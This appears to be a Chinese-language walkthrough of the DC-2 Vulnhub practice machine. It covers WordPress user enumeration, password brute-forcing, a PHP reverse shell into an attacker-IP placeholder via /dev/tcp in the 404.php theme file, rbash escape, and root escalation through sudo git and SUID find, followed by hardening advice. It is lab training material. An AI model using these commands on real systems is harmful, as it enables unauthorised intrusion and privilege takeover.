1. DC-2靶机渗透实战背景
DC-2是Vulnhub平台推出的一个专为渗透测试学习者设计的靶机环境。作为DC系列的第二部作品,它在难度设计上比DC-1有明显提升,但又保持了适中的学习曲线,特别适合刚掌握基础渗透技能的学习者进行能力进阶训练。
这个靶机模拟了一个典型的WordPress网站环境,但设计者巧妙地在其中隐藏了多个需要突破的安全层。从技术维度来看,它主要考察以下几个核心能力:
- 基础信息收集与枚举能力
- WordPress漏洞利用实战
- SSH服务安全配置绕过
- Linux权限提升技巧
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与初始侦察
2.1 靶机环境搭建
首先需要将下载的DC-2 OVA文件导入VirtualBox或VMware:
- 新建虚拟机选择"导入现有虚拟盘"
- 内存建议分配2GB以上
- 网络模式务必选择"桥接"或"NAT网络"
重要提示:DC-2靶机默认不会自动获取IP,需要先通过ARP扫描或查看虚拟机控制台获取其IP地址。
2.2 基础信息收集
使用经典的信息收集组合工具:
bash复制nmap -sV -A -T4 靶机IP
扫描结果通常会显示:
- 80端口:WordPress网站
- 7744端口:SSH服务(注意这是非标准端口)
特别要注意的是,/etc/hosts需要添加解析记录:
bash复制echo "靶机IP dc-2" >> /etc/hosts
否则WordPress会出现重定向问题。
3. WordPress渗透实战
3.1 用户枚举与密码爆破
使用wpscan进行基础扫描:
bash复制wpscan --url http://dc-2 -e u
会发现三个关键用户:admin、jerry、tom
针对这些用户进行密码爆破:
bash复制wpscan --url http://dc-2 -U userlist.txt -P /usr/share/wordlists/rockyou.txt
实战技巧:可以先尝试简单密码如password、admin123等,DC-2设计者通常会设置可爆破的弱密码。
3.2 漏洞利用与后台获取
成功登录后,尝试利用编辑主题文件插入PHP代码:
- 外观 → 主题编辑器
- 选择404.php模板
- 插入反向shell代码:
php复制exec("/bin/bash -c 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1'");
- 访问不存在的页面触发shell
更优雅的方式是使用metasploit的exploit/unix/webapp/wp_admin_shell_upload模块。
4. SSH服务突破
4.1 凭证获取与登录
在WordPress文件系统中可以找到:
bash复制grep -r "password" /var/www/html/
或者在wp-config.php中发现SSH凭证。
使用找到的凭证连接非标准端口SSH:
bash复制ssh -p 7744 tom@dc-2
4.2 受限shell突破
登录后可能会发现被限制在rbash环境中,尝试以下逃脱方法:
bash复制export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
或者使用vi的shell逃逸:
code复制:set shell=/bin/bash
:shell
5. 权限提升实战
5.1 sudo权限利用
检查sudo -l发现jerry用户可以无需密码执行某些命令:
bash复制sudo -l
可能会发现git命令可用,则:
bash复制sudo git -p help
!/bin/bash
5.2 SUID二进制利用
查找具有SUID权限的可执行文件:
bash复制find / -perm -4000 2>/dev/null
如果发现/usr/bin/find,则:
bash复制find . -exec /bin/bash -p \;
6. 渗透后的思考与加固建议
完成渗透后,建议从防御角度分析漏洞成因:
-
WordPress方面:
- 使用强密码策略
- 限制登录尝试次数
- 及时更新插件和核心
-
SSH方面:
- 禁用密码认证改用密钥
- 修改默认端口不是有效防护
- 配置fail2ban防护爆破
-
系统层面:
- 定期检查SUID/SGID文件
- 实施最小权限原则
- 配置sudo权限白名单
7. 常见问题排错指南
Q1: WordPress无法正常访问
A: 检查/etc/hosts解析和网络连接,确保域名dc-2能正确解析
Q2: SSH连接被拒绝
A: 确认连接的是7744端口,检查靶机SSH服务是否正常运行
Q3: 获得的shell不稳定
A: 使用python快速获取稳定shell:
bash复制python -c 'import pty; pty.spawn("/bin/bash")'
Q4: 找不到flag文件
A: DC-2的flag通常位于/root目录,需要提权后才能查看
8. 学习路径建议
对于想系统学习CTF渗透的新手,建议的进阶路线:
- 基础网络与Linux命令
- 常见服务漏洞研究(Web/SSH/FTP等)
- 自动化工具使用(wpscan、metasploit)
- 手动漏洞挖掘与利用
- 权限维持与痕迹清理
DC系列靶机是非常好的练手环境,建议按顺序挑战DC-1到DC-9,每个靶机重点突破不同的技术点。
